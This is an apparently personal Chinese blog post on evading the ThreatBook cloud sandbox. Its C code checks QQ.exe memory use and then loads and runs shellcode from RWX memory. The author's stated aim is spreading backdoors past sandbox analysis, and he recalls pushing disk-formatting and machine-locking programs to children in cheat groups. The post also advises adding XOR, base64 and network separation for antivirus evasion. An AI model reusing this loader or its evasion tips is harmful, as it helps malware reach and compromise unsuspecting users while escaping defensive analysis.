自己反微步云沙箱的一个小思路


0x00 为什么要写这个玩意

随着云沙箱的普及,后门是越来越不好搞了,之前随便往挂群里发个格盘锁机都会有一堆小学生抢着下,现在有点脑子的都会先传个云沙箱看看,正好最近在学C,想着搓一个玩一玩

0x01 以前的思路

参考了一下网上的文章,发现大多数实现方式都很复杂,比如检测鼠标运动和依靠沙箱会加速sleep但是不会加速gettickcount的特性,这我肯定做不出来,但我对进程方面的操作比较熟悉

先简单用批处理写了一个检测QQ进程是否存在的脚本,这种方法虽然比较武断但也有它的合理之处,毕竟QQ作为国民级通讯软件装机量还是很高的

@echo off
:loop
tasklist | findstr /i "qq.exe"
if errorlevel 1 (
    echo 不存在
    ping -n 1 127.0.0.1 >nul
    goto :loop
) else (
    echo 存在
    ping -n 1 127.0.0.1 >nul
    goto loop
)

上传之后发现是这样的

0x02 我自己的方法

很显然这种远古方法是行不通的,但是我们这里也发现了很关键的一点,QQ.exe进程的占用只有1592K,这很显然不是真正的QQ进程,有可能是空壳程序或者是系统拦截了相关的API函数,给我们返回假的数据

为了验证这个想法,我又扔了个tasklist上去

果然不出所料,占用一直都是这么小

那我们就可以通过检测QQ进程占用内存的大小来判断是否是沙箱

废话不多说直接上代码

#include <windows.h>
#include <tchar.h>
#include <psapi.h>

void main() {
    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;
    TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
    bool isQQExeExist = false;

    if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) {
        return;
    }

    cProcesses = cbNeeded / sizeof(DWORD);

    for (i = 0; i < cProcesses; i++) {
        if (aProcesses[i] != 0) {
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
                PROCESS_VM_READ,
                FALSE, aProcesses[i]);

            if (NULL != hProcess) {
                HMODULE hMod;
                DWORD cbNeeded;

                if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
                    &cbNeeded)) {
                    GetModuleBaseName(hProcess, hMod, szProcessName,
                        sizeof(szProcessName) / sizeof(TCHAR));

                    if (_tcsicmp(szProcessName, _T("QQ.exe")) == 0) {
                        isQQExeExist = true;
                        PROCESS_MEMORY_COUNTERS_EX pmc;
                        pmc.cb = sizeof(pmc);
                        if (GetProcessMemoryInfo(hProcess, (PROCESS_MEMORY_COUNTERS*)&pmc, sizeof(pmc))) {
                            if (pmc.PrivateUsage / 1024 > 10240) {
                                _tprintf(TEXT("ok\n"));
                                system("pause");
                            }
                            else {
                                _tprintf(TEXT("sandbox2\n"));
                                system("pause");
                            }
                        }
                    }
                }
            }
            CloseHandle(hProcess);
        }
    }
    if (!isQQExeExist) {
        _tprintf(TEXT("sandbox1\n"));
        system("pause");
    }
}

这个程序如果没有检测到QQ的进程就会输出sandbox1

检测到QQ的进程后如果QQ的进程使用内存小于10240K(也就是10M)就会输出sandbox2

存在QQ进程且进程占用大于10240K时才会输出ok

下面三张图分别是关闭QQ,使用空壳QQ与真QQ时的程序输出

可以看出确实是有一点用的,上传微步后微步却崩了,显示无法分析

请教了一下,发现这是因为程序崩了导致的

想了个办法,用另一个空壳程序把它拉起来,结果既输出到控制台上又输出txt文本,这样就可以在微步的文件释放那里看到结果,在本地调试了一下发现没问题,这下检测报告是出来了,但是没有看到命令行输出和文件输出,只看到了那个空壳程序,这里估计QQ的进程是通过拦截了相关的API函数,给我们返回假的数据,但是很显然做戏没有做全套,程序在沙箱里也是无法运行的

为了验证,我们给代码加入shellcode加载功能

#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <psapi.h>
#include <stdlib.h>
using namespace std;

void main() {
    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;
    TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
    bool isQQExeExist = false;

    if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) {
        return;
    }

    cProcesses = cbNeeded / sizeof(DWORD);

    for (i = 0; i < cProcesses; i++) {
        if (aProcesses[i] != 0) {
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
                PROCESS_VM_READ,
                FALSE, aProcesses[i]);

            if (NULL != hProcess) {
                HMODULE hMod;
                DWORD cbNeeded;

                if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
                    &cbNeeded)) {
                    GetModuleBaseName(hProcess, hMod, szProcessName,
                        sizeof(szProcessName) / sizeof(TCHAR));

                    if (_tcsicmp(szProcessName, _T("QQ.exe")) == 0) {
                        isQQExeExist = true;
                        PROCESS_MEMORY_COUNTERS_EX pmc;
                        pmc.cb = sizeof(pmc);
                        if (GetProcessMemoryInfo(hProcess, (PROCESS_MEMORY_COUNTERS*)&pmc, sizeof(pmc))) {
                            if (pmc.PrivateUsage / 1024 > 10240) {
                                char shellcode[] = "把你的shellcode填写在这里";
                                LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                                memcpy(lpAlloc, shellcode, sizeof shellcode);
                                ((void(*)())lpAlloc)();
                            }
                            else {
                                exit(0);
                            }
                        }
                    }
                }
            }
            CloseHandle(hProcess);
        }
    }
    if (!isQQExeExist) {
        exit(0);
    }
}

上传微步看看

不出所料的分析失败,除了几个引擎的检出率啥都没有

本地测试正常上线,可以去B站看我发的视频

这里shellcode加载器用的就是最普通的那种什么都没有,相信各位大佬稍微改一改加点什么网络分离,xor还有base64加密什么的应该就能很完美的免杀了

Tip:可以使用检测QQProtect.exe这个进程获得更好的效果,因为只要安装了QQ即使QQ不启动QQProtect.exe也会在开机时启动,不会出现QQ没有登陆而判断为沙箱的尴尬情况,这里使用QQ的主程序检测是为了方便调试

声明:空指针的小站|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 自己反微步云沙箱的一个小思路


Debug the world